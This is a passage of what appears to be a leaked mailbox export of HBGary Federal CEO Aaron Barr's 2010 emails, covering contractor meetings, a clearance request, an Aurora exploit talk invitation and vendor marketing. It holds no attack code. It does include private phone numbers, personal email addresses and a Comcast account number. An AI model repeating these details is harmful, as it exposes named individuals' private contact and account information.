Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, March 29, 2010 2:01 PM\r\n&gt; To: Lovegrove, John (TASC)\r\n&gt; Subject: Checking in\r\n&gt;\r\n&gt; Hey John,\r\n&gt;\r\n&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n&gt; started thinking about all the other stuff going on.  What is the\r\n&gt; status of your COIN effort and when would you like to set up anyone to\r\n&gt; talk about NSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1592,'aaron_hbgary_com/1592.html'),(4947,'2010-04-05','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297003171.M66989P3547Q4945.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking in','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI got the OK from my boss.&nbsp; Can we get Ted to fill out a\r\nnew SF86?&nbsp; I can start the other paperwork here.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 9:59 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI think him cleared would be very helpful. &nbsp;Let me know\r\nhow you want to proceed.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nIs there anything we want to do with Ted\'s clearance?&nbsp; I think I can get\r\nthe OK from my customer to initiate a new clearance.&nbsp; From what I\r\nunderstand, Ted is very instrumental in the COIN processes.&nbsp; Let me know\r\nwhat you think.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/1/2010 10:38 AM\r\nTo: Lovegrove, John (TASC)\r\nCc: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: Checking in\r\n\r\nI haven\'t I will check.\r\n\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Apr 1, 2010, at 9:37 AM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; Hey Aaron,\r\n&gt;\r\n&gt; We are still pulling the team together on COIN, we have a follow up\r\n&gt; discussion with SAIC tomorrow. I got a random report that the\r\n&gt; competition was cancelled, did you hear anything about this?\r\n&gt;\r\n&gt;\r\n&gt; John Lovegrove\r\n&gt; Director\r\n&gt; Office: (703) 449-3812\r\n&gt; Cell: (571) 294-5154\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; TASC INTERNAL DISTRIBUTION ONLY\r\n&gt; This e-mail, including attachments, is intended for the exclusive\r\n&gt; use of\r\n&gt; the person or entity to whom it is addressed and may contain\r\n&gt; confidential or privileged information. If the reader of this e-mail\r\n&gt; is\r\n&gt; not the intended recipient or his or her authorized agent, the\r\n&gt; reader is\r\n&gt; hereby notified that any dissemination, distribution or copying of\r\n&gt; this\r\n&gt; e-mail is prohibited. If you think that you have received this e-\r\n&gt; mail in\r\n&gt; error, please advise the sender by reply e-mail of the error and then\r\n&gt; delete this e-mail immediately.\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, March 29, 2010 2:01 PM\r\n&gt; To: Lovegrove, John (TASC)\r\n&gt; Subject: Checking in\r\n&gt;\r\n&gt; Hey John,\r\n&gt;\r\n&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n&gt; started thinking about all the other stuff going on.&nbsp; What is the\r\n&gt; status of your COIN effort and when would you like to set up anyone to\r\n&gt; talk about NSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8064,'aaron_hbgary_com/8064.html'),(4948,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003171.M777157P3547Q4948.eml','jmfarrell@yahoo.com','Re: Aurora Exploit Talk at SAIC','Definately small world.  So I leave Panera and get a call from the\r\npresident of HBGary proper asking if I know of anyone that would be\r\ngood as a sales person for DoD and sole Intel. :)\r\n\r\nSee you tomorrow.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 5, 2010, at 3:09 PM, \"jmfarrell@yahoo.com\"\r\n wrote:\r\n\r\n> Small world! Good seeing you at Panera today.\r\n> Now that you know the situation, I look forward to talking with you\r\n> tomorrow.\r\n> See you at 1pm @ 23rd st starbucks in crystal city tomorrow.\r\n> John\r\n> ------Original Message------\r\n> To: Aaron Barr\r\n> Subject: Re: Aurora Exploit Talk at SAIC\r\n> Sent: Apr 5, 2010 11:03 AM\r\n>\r\n> Ok, let\'s meet in Crystal City tomorrow @ 1pm. 23rd street Starbucks\r\n> work for you?\r\n>\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: John M Farrell\r\n> Subject: Re: Aurora Exploit Talk at SAIC\r\n> Sent: Apr 5, 2010 10:56 AM\r\n>\r\n> Sounds good.  I will be at Palantir GovCon all day Wednesday and\r\n> have some meeting mid day Thursday in DC.  I am pretty free the rest\r\n> of the week.\r\n>\r\n> Aaron\r\n>\r\n> On Apr 5, 2010, at 10:52 AM, John Farrell wrote:\r\n>\r\n>> Aaron,\r\n>> Good to see you on this agenda.\r\n>>\r\n>> Let me know your availability to reconnect this week. I will be in\r\n>> Crystal City tomorrow and would be available to meet after lunch.\r\n>>\r\n>> I have some updates to share with you too. Thanks\r\n>>\r\n>> John\r\n>> 7036229025\r\n>> John M Farrell\r\n>> VP Federal, Endgame Systems\r\n>> 703.622.9025 M\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Estell, Timothy W. \r\n>> To: Fodor, Ronald J. ; Blackburn, Jonathan\r\n>> T. ; Murray, Katea S. > >; Horton, Andrew M. ; Dexter, Gordon M. > >; Bray, Erik M. ; Johnson, Eric S. > >; Chan, Cheng-Chia ; Ken Zatyko > >; Carl M. Powell ; Ray Gazaway; John Farrell\r\n>> Sent: Mon Apr 05 07:55:21 2010\r\n>> Subject: Aurora Exploit Talk at SAIC\r\n>>\r\n>> All,\r\n>>\r\n>> Scott Sheldon has posted invitations on Facebook and LinkedIn to our\r\n>> next Tech Tuesday talk.\r\n>>\r\n>> Tuesday, April 27th at 1600 in SAIC\'s conference room at 6841\r\n>> Benjamin\r\n>> Franklin Drive.\r\n>>\r\n>> This should be a good talk with some insight beyond what we\'ve all\r\n>> read\r\n>> in the news. Google \"aurora exploit\"\r\n>\r\n> ------Original Message Truncated------\r\n>\r\n> Sent via BlackBerry by AT&T\r\n',11094,'aaron_hbgary_com/11094.html'),(4949,'2010-04-05','\"Dan Brennan\" <dan.brennan@carahsoft.com>','/aaron@hbgary.com/new/1297003171.M992604P3547Q4949.eml','\"Aaron Barr\" <aaron@hbgary.com>','The Perfect Solution for Your Performance Problems','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nbackground-color: #808080;\r\ncolor: #333333;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\n.tbody {\r\nbackground-color: #fff;\r\ncolor: #333333;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\nh1 \r\n{\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 24px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: uppercase;\r\ncolor: #000;\r\npadding: 0px;\r\n}\r\np, td { font-size:12px; }\r\ntd.content { padding-right: 25px; }\r\na:hover { text-decoration: underline; color: #000; }\r\na:link { text-decoration: underline; color: #000; }\r\na:visited { text-decoration: underline; color: #000; }\r\n.footer {\r\nbackground-color:#58595B;\r\npadding:5px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 10px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: none;\r\ncolor: #FFFFFF;\r\ntext-align: center;\r\nvertical-align: middle;\r\n}\r\nbody { background-color:#808080 !important; }\r\n\r\n&nbsp;\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Have Peformance Issues?&nbsp;Precise Has Answers\r\n						\r\n						\r\n						\r\n						\r\n							Struggling with application&nbsp;performance?\r\n							Fighting slow response times? \r\n							Stressing the impact of application upgrades and rollouts? \r\n							Can&rsquo;t find the root cause?\r\n						\r\n						\r\n						If you answered yes to&nbsp;any of the above questions then this is the webcast for you. Register now to learn how you can increase your organizations application performance.\r\n						\r\n						Precise is&nbsp;an end-to-end application performance management solution that monitors, measures, analyzes, and tunes critical business applications all the way from the end user to the storage. This solution is extremely broad and deep with the platforms and&nbsp;applications it supports along with a combination of granularity&nbsp;and expert tuning advice capabilities.\r\n						\r\n						Sign up now, or click here for future access to the archived recording.\r\n						\r\n						Sincerely, \r\n						\r\n						Dan Brennan\r\n						Precise Government at Carahsoft\r\n						703-871-8533 (Direct) \r\n						dan.brennan@carahsoft.com \r\n						\r\n						Click here for more information and a fresh perspective in Application Performance Management. \r\n						\r\n						&nbsp;\r\n						\r\n						\r\n						\r\n						\r\n						Precise Webcast&nbsp; \r\n						\r\n						Date: Thursday, April 15, 2010\r\n						Time: 11am Eastern; 8am Pacific Duration: 1 Hour \r\n						\r\n						\r\n						 \r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			&nbsp;\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',13317,'aaron_hbgary_com/13317.html'),(4950,'2010-04-05','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297003172.M202280P3547Q4950.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Get together','Aaron,\r\n\r\nFriday afternoon would work. I have meetings in the morning.\r\nHow does 2PM at our place look? We can likely get Adam up on video.\r\n\r\n	Regards,\r\n	Irby\r\n\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 2:04 PM, Aaron Barr wrote:\r\n\r\n> Hey guys,\r\n> \r\n> Let me know when some good times are for you to get together and discuss things outside of DARPA.\r\n> \r\n> This week is pretty much shot for me except for Friday, next week right now is pretty open.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',281,'aaron_hbgary_com/281.html'),(4951,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003172.M391273P3547Q4951.eml','\"Penny Leavy\" <penny@hbgary.com>','Monitor/tv','Can u give me a call.\r\n\r\n From my iPhone\r\n',15769,'aaron_hbgary_com/15769.html'),(4952,'2010-04-05','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297003172.M606420P3547Q4952.eml','aaron@hbgary.com','i can help you on Wednesday','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nI left you a message on your phone that I can help on\r\nWednesday.  Give me a call when you have a minute to catch up.\r\n\r\n \r\n\r\nThx,\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14681,'aaron_hbgary_com/14681.html'),(4953,'2010-04-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003172.M777877P3547Q4953.eml','all@hbgary.com','software exploitation paper is live',' \r\nI posted the exploitation whitepaper on www.hbgary.com.\r\n \r\nHopefully this will help sell some Responder PRO.\r\n \r\n-Greg\r\n',10652,'aaron_hbgary_com/10652.html'),(4954,'2010-04-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297003172.M949712P3547Q4954.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Get together','Hi Aaron,\r\n\r\nI hope you had a great time in New York.  I just left you a voice\r\nmessage.  When would be a good time to talk?\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 2:11 PM\r\nTo: Starr, Christopher H.\r\nSubject: Get together\r\n\r\nHey Chris,\r\n\r\nI hope you got to enjoy some time off or at least a nice Easter weekend.\r\nLets work out a time to get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3772,'aaron_hbgary_com/3772.html'),(4955,'2010-04-05','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003173.M215822P3547Q4955.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Monitor/tv','Have been trying.  Rich thought it was a HDMI or DVI connection\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 1:06 PM\r\nTo: Penny Leavy\r\nSubject: Monitor/tv\r\n\r\nCan u give me a call.\r\n\r\n From my iPhone\r\n\r\n',1305,'aaron_hbgary_com/1305.html'),(4956,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003173.M388288P3547Q4956.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Monitor/tv','On eternal hold.  Call u in a few.\r\n\r\n From my iPhone\r\n\r\nOn Apr 5, 2010, at 6:22 PM, Penny Leavy-Hoglund \r\nwrote:\r\n\r\n> Have been trying.  Rich thought it was a HDMI or DVI connection\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, April 05, 2010 1:06 PM\r\n> To: Penny Leavy\r\n> Subject: Monitor/tv\r\n>\r\n> Can u give me a call.\r\n>\r\n> From my iPhone\r\n>\r\n',13064,'aaron_hbgary_com/13064.html'),(4957,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003173.M571085P3547Q4957.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: i can help you on Wednesday','Wonderful.  I will call u back in a bit.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 5, 2010, at 4:58 PM, Rich Cummings  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n>\r\n>\r\n> I left you a message on your phone that I can help on Wednesday.\r\n> Give me a call when you have a minute to catch up.\r\n>\r\n>\r\n>\r\n> Thx,\r\n> Rich\r\n',3513,'aaron_hbgary_com/3513.html'),(4958,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003173.M743712P3547Q4958.eml','\"Aaron Barr\" <adbarr@mac.com>','Comcast acct','09529169210-2\r\n\r\n From my iPhone\r\n',1384,'aaron_hbgary_com/1384.html'),(4959,'2010-04-05','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297003173.M929627P3547Q4959.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Re: Meeting?','\r\n\r\n\r\n\r\n\r\nEffective immediately, please use the following contact information to reach me:\r\n\r\nJohn M. Farrell\r\n(703) 622-9025\r\njmfarrell@yahoo.com\r\n\r\nI will no longer be accessible via Endgame Systems email addresses. Thank you.\r\n\r\nOn Feb 26, 2010, at 9:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nno worries. &nbsp;I was at FIdelis when u called so just went home from there. &nbsp;Catch up to you later.\r\nAaron\r\n\r\nOn Feb 25, 2010, at 5:52 PM, John Farrell wrote:\r\n\r\nSorry just out of scif\r\n\r\nListen 2 ur voicrmail\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: John Farrell\r\nSent: Thu Feb 25 15:05:54 2010\r\nSubject: Meeting?\r\n\r\nHey John,\r\n\r\nGive me a call...\r\n\r\nFrom my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6992,'aaron_hbgary_com/6992.html'),(4960,'2010-04-05','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297003174.M161314P3547Q4960.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting?','Effective immediately, please use the following contact information to reach me:\r\n\r\nJohn M. Farrell\r\n(703) 622-9025\r\njmfarrell@yahoo.com\r\n\r\nI will no longer be accessible via Endgame Systems email addresses. Thank you.\r\n\r\nOn Feb 25, 2010, at 4:05 PM, Aaron Barr  wrote:\r\n\r\n> Hey John,\r\n> \r\n> Give me a call...\r\n> \r\n> From my iPhone\r\n',1248,'aaron_hbgary_com/1248.html'),(4961,'2010-04-05','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297003174.M363620P3547Q4961.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Re: Did u want to catch up here or there?','\r\n\r\n\r\n\r\n\r\nEffective immediately, please use the following contact information to reach me:\r\n\r\nJohn M. Farrell\r\n(703) 622-9025\r\njmfarrell@yahoo.com\r\n\r\nI will no longer be accessible via Endgame Systems email addresses. Thank you.\r\n\r\nOn Feb 18, 2010, at 9:09 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nSorry John. Just got\r\nTo Checking email. &nbsp;A few NG Folks and me went to dinner. &nbsp;Would have\r\nbeen good to have u. &nbsp;See u in the morning.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Feb 18, 2010, at 1:41 PM, John Farrell &lt;john@endgames.us&gt; wrote:\r\n\r\nI am enroute to Cincinnati now. Do you have plans for dinner\r\ntonight? I am staying near the airport, but have a car. I land at\r\n4pm today. Talk with you soon.\r\nJohn\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: John Farrell\r\nSent: Tue Feb 16 13:47:27 2010\r\nSubject: Re: Did u want to catch up here or there?\r\n\r\nTomorrow 2pm. &nbsp;I have thursday meetings with various parts of the\r\nXetron team related to the IRAD and some other pursuits like the\r\nDarpa BAA, ONR, etc. &nbsp;I spoke to NG seniors on Friday to make sure\r\nwe were going to get the necessary support for the effort and\r\ninternal bickering wasn\'t going to cause us issues. &nbsp;Everyone seems\r\nsupportive.\r\n\r\nAaron\r\n\r\nOn Feb 16, 2010, at 2:44 PM, John Farrell wrote:\r\n\r\nIf you are going to Cinci on Thurs, we could meet out there? When\r\ndo you fly out?\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: John Farrell\r\nSent: Tue Feb 16 11:40:01 2010\r\nSubject: Did u want to catch up here or there?\r\n\r\nI have a pretty open afternoon, 4pm meeting.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9485,'aaron_hbgary_com/9485.html'),(4962,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003174.M561433P3547Q4962.eml','\"Ted Vera\" <tedvera@mac.com>','Everyone has picked up the story',' From my iPhone\r\n',12555,'aaron_hbgary_com/12555.html'),(4963,'2010-04-06','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003174.M754291P3547Q4963.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Everyone has picked up the story','Good. Turning on CNN now.\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 7:22 PM, Aaron Barr  wrote:\r\n\r\n> From my iPhone\r\n',9655,'aaron_hbgary_com/9655.html'),(4964,'2010-04-06','\"John M Farrell\" <jmfarrell@yahoo.com>','/aaron@hbgary.com/new/1297003176.M815589P3547Q4964.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Aurora Exploit Talk at SAIC','here\'s my updated resume....see you tomorrow. Thanks!\r\n John M Farrell\r\njmfarrell@yahoo.com\r\n703.622.9025 voicemail\r\n\r\n\r\n\r\n----- Original Message ----\r\nFrom: Aaron Barr \r\nTo: \"jmfarrell@yahoo.com\" \r\nSent: Mon, April 5, 2010 3:12:42 PM\r\nSubject: Re: Aurora Exploit Talk at SAIC\r\n\r\nDefinately small world.  So I leave Panera and get a call from the\r\npresident of HBGary proper asking if I know of anyone that would be\r\ngood as a sales person for DoD and sole Intel. :)\r\n\r\nSee you tomorrow.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Apr 5, 2010, at 3:09 PM, \"jmfarrell@yahoo.com\"\r\n wrote:\r\n\r\n> Small world! Good seeing you at Panera today.\r\n> Now that you know the situation, I look forward to talking with you\r\n> tomorrow.\r\n> See you at 1pm @ 23rd st starbucks in crystal city tomorrow.\r\n> John\r\n> ------Original Message------\r\n> To: Aaron Barr\r\n> Subject: Re: Aurora Exploit Talk at SAIC\r\n> Sent: Apr 5, 2010 11:03 AM\r\n>\r\n> Ok, let\'s meet in Crystal City tomorrow @ 1pm. 23rd street Starbucks\r\n> work for you?\r\n>\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: John M Farrell\r\n> Subject: Re: Aurora Exploit Talk at SAIC\r\n> Sent: Apr 5, 2010 10:56 AM\r\n>\r\n> Sounds good.  I will be at Palantir GovCon all day Wednesday and\r\n> have some meeting mid day Thursday in DC.  I am pretty free the rest\r\n> of the week.\r\n>\r\n> Aaron\r\n>\r\n> On Apr 5, 2010, at 10:52 AM, John Farrell wrote:\r\n>\r\n>> Aaron,\r\n>> Good to see you on this agenda.\r\n>>\r\n>> Let me know your availability to reconnect this week. I will be in\r\n>> Crystal City tomorrow and would be available to meet after lunch.\r\n>>\r\n>> I have some updates to share with you too. Thanks\r\n>>\r\n>> John\r\n>> 7036229025\r\n>> John M Farrell\r\n>> VP Federal, Endgame Systems\r\n>> 703.622.9025 M\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Estell, Timothy W. \r\n>> To: Fodor, Ronald J. ; Blackburn, Jonathan\r\n>> T. ; Murray, Katea S. > >; Horton, Andrew M. ; Dexter, Gordon M. > >; Bray, Erik M. ; Johnson, Eric S. > >; Chan, Cheng-Chia ; Ken Zatyko > >; Carl M. Powell ; Ray Gazaway; John Farrell\r\n>> Sent: Mon Apr 05 07:55:21 2010\r\n>> Subject: Aurora Exploit Talk at SAIC\r\n>>\r\n>> All,\r\n>>\r\n>> Scott Sheldon has posted invitations on Facebook and LinkedIn to our\r\n>> next Tech Tuesday talk.\r\n>>\r\n>> Tuesday, April 27th at 1600 in SAIC\'s conference room at 6841\r\n>> Benjamin\r\n>> Franklin Drive.\r\n>>\r\n>> This should be a good talk with some insight beyond what we\'ve all\r\n>> read\r\n>> in the news. Google \"aurora exploit\"\r\n>\r\n> ------Original Message Truncated------\r\n>\r\n> Sent via BlackBerry by AT&T\r\n',16430,'aaron_hbgary_com/16430.html'),(4965,'2010-04-06','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297003177.M200122P3547Q4965.eml','aaron@hbgary.com','Re: Aurora Talk at SAIC','\r\nAaron,You should be able to join the cybernexus groups on those social networks if you use them. Scott\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Sheldon, Scott W.Sent: Mon Apr 05 09:48:06 2010Subject: Re: Aurora Talk at SAIC\r\ngreat. &nbsp;where could I find those?Did you guys hear on NANA yet?AaronOn Apr 2, 2010, at 4:50 PM, Sheldon, Scott W. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,&nbsp;I’ve posted the invitations on\r\nFacebook and LinkedIn.&nbsp;Scott&nbsp;\r\n\r\n&nbsp;Scott W. Sheldon, PMP | SAICVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroupmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com &nbsp;Science\r\nApplications International Corporation6841\r\n  Benjamin Franklin DriveColumbia, MD\r\n 21046www.saic.com&nbsp;Energy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security &nbsp;|&nbsp; Health&nbsp; |&nbsp; Critical Infrastructure&nbsp;Please\r\nconsider the environment before printing this email.&nbsp;This e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 01, 2010\r\n10:21 PM\r\nTo: Sheldon,\r\n Scott W.\r\nCc: bob@hbgary.com; Estell, Timothy W.\r\nSubject: Re: Aurora Talk at SAIC\r\n\r\n&nbsp;Let me know if you need something else.\r\n\r\n&nbsp;\r\n\r\nBIO\r\n\r\n\r\n\r\nAaron Barr is the CEO of HBGary\r\nFederal, a services company focused on delivering specialized malware analysis,\r\nincident response, and information operations capabilities to the IC, DoD, and\r\nFederal agencies.&nbsp; Previously, Aaron served as the Director of Technology\r\nfor the Cybersecurity and SIGINT Business Unit within Northrop Grummans\r\nIntelligence Systems Division, and as the Chief Engineer for Northrop\r\nGrummans\'s Cyber Campaign. As Technical Director, he was responsible for\r\ndeveloping technical strategies and roadmaps for a $750 million organization as\r\nwell as managing approximately $20 million in Research and Development\r\nprojects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the\r\nUnited States Navy as an enlisted cryptologist, senior signals analyst,\r\nsoftware programmer, and system administrator. Mr. Barr served tours in Misawa, Japan,\r\nNorfolk Virginia,\r\nPensacola Florida,\r\nand Rota Spain.\r\nWhile serving in Norfolk Virginia, he was accepted into the Enlisted\r\nEducation Advancement Program (EEAP) where he finished a Bachelors of Science\r\nin Biology, minoring in Chemistry, later completing a Masters in Computer\r\nScience with an emphasis in Computer Security. He has been a panelist and given\r\nspeeches on cybersecurity and emerging technologies at numerous Intelligence\r\nCommunity and DoD conferences and symposiums.AbstractPrior to Operation Aurora most people\r\nhad never heard of the term APT, now you can\'t get away from 